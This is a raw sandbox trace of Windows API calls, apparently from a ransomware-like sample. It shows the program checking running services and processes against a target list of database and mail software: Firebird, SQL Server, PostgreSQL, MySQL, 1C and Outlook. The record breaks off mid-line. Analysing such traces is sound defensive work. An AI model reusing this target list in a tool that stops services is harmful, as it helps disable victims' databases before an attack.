lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.638] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0046.638] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0046.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0046.638] lstrlenW (lpString="AudioSrv") returned 8 [0046.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0046.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0046.638] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0046.639] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0046.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0046.640] lstrlenW (lpString="BFE") returned 3 [0046.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0046.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0046.640] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0046.640] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0046.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0046.640] lstrlenW (lpString="CryptSvc") returned 8 [0046.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0046.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0046.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0046.644] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0046.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0046.644] lstrlenW (lpString="CscService") returned 10 [0046.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0046.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0046.644] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0046.645] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0046.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0046.647] lstrlenW (lpString="DcomLaunch") returned 10 [0046.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.647] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0046.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0046.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0046.652] lstrlenW (lpString="Dhcp") returned 4 [0046.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0046.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0046.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0046.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0046.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0046.655] lstrlenW (lpString="Dnscache") returned 8 [0046.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0046.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0046.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0046.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0046.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0046.657] lstrlenW (lpString="DPS") returned 3 [0046.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0046.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0046.659] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0046.659] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0046.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0046.659] lstrlenW (lpString="eventlog") returned 8 [0046.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0046.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0046.661] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0046.662] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0046.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0046.662] lstrlenW (lpString="EventSystem") returned 11 [0046.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0046.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0046.664] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0046.666] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0046.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0046.666] lstrlenW (lpString="gpsvc") returned 5 [0046.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0046.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0046.670] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0046.670] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0046.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0046.670] lstrlenW (lpString="iphlpsvc") returned 8 [0046.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.670] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0046.670] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0046.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0046.670] lstrlenW (lpString="LanmanServer") returned 12 [0046.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0046.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0046.670] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0046.670] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0046.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0046.670] lstrlenW (lpString="LanmanWorkstation") returned 17 [0046.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.670] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0046.670] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0046.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0046.671] lstrlenW (lpString="lmhosts") returned 7 [0046.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0046.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0046.671] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0046.671] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0046.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0046.671] lstrlenW (lpString="MMCSS") returned 5 [0046.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0046.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0046.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0046.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0046.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0046.671] lstrlenW (lpString="MpsSvc") returned 6 [0046.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0046.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0046.671] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0046.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0046.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0046.671] lstrlenW (lpString="Netman") returned 6 [0046.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0046.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0046.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0046.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0046.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0046.671] lstrlenW (lpString="netprofm") returned 8 [0046.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0046.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0046.671] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0046.671] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0046.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0046.671] lstrlenW (lpString="NlaSvc") returned 6 [0046.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0046.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0046.672] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0046.672] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0046.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0046.672] lstrlenW (lpString="nsi") returned 3 [0046.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0046.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0046.672] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0046.672] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0046.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0046.672] lstrlenW (lpString="PcaSvc") returned 6 [0046.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0046.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0046.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0046.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0046.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0046.672] lstrlenW (lpString="PlugPlay") returned 8 [0046.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0046.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0046.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0046.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0046.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0046.672] lstrlenW (lpString="Power") returned 5 [0046.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0046.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0046.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0046.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0046.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0046.672] lstrlenW (lpString="ProfSvc") returned 7 [0046.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0046.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0046.673] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0046.673] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0046.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0046.673] lstrlenW (lpString="RpcEptMapper") returned 12 [0046.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0046.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0046.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0046.673] lstrlenW (lpString="RpcSs") returned 5 [0046.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0046.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0046.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0046.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0046.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0046.673] lstrlenW (lpString="SamSs") returned 5 [0046.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0046.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0046.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0046.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0046.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0046.673] lstrlenW (lpString="Schedule") returned 8 [0046.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0046.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0046.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0046.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0046.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0046.673] lstrlenW (lpString="SENS") returned 4 [0046.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0046.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0046.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0046.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0046.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0046.674] lstrlenW (lpString="ShellHWDetection") returned 16 [0046.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.674] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0046.674] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0046.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0046.674] lstrlenW (lpString="Spooler") returned 7 [0046.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0046.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0046.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0046.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0046.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0046.674] lstrlenW (lpString="swprv") returned 5 [0046.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0046.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0046.674] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0046.674] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0046.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0046.674] lstrlenW (lpString="SysMain") returned 7 [0046.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.674] lstrlenW (lpString="Themes") returned 6 [0046.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.675] lstrlenW (lpString="TrkWks") returned 6 [0046.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.675] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.675] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.675] lstrlenW (lpString="UxSms") returned 5 [0046.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.675] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.675] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.675] lstrlenW (lpString="VSS") returned 3 [0046.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0046.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0046.675] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0046.675] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0046.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0046.675] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.675] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.675] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.675] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.675] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.675] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.676] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.676] lstrlenW (lpString="Winmgmt") returned 7 [0046.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.676] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.676] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x53a0068 | out: hHeap=0x790000) returned 1 [0046.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d8 [0046.678] Process32FirstW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.678] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.679] lstrlenW (lpString="System") returned 6 [0046.679] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.679] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.679] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.679] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.679] lstrlenW (lpString="smss.exe") returned 8 [0046.679] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.679] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.679] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.679] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.680] lstrlenW (lpString="csrss.exe") returned 9 [0046.680] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.680] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.680] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.680] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.680] lstrlenW (lpString="wininit.exe") returned 11 [0046.680] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.680] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.680] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.681] lstrlenW (lpString="csrss.exe") returned 9 [0046.681] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.681] lstrlenW (lpString="winlogon.exe") returned 12 [0046.681] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.681] lstrlenW (lpString="services.exe") returned 12 [0046.681] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.682] lstrlenW (lpString="lsass.exe") returned 9 [0046.682] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.682] lstrlenW (lpString="lsm.exe") returned 7 [0046.682] Process32NextW (in: hSnapshot=0x3d8, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, 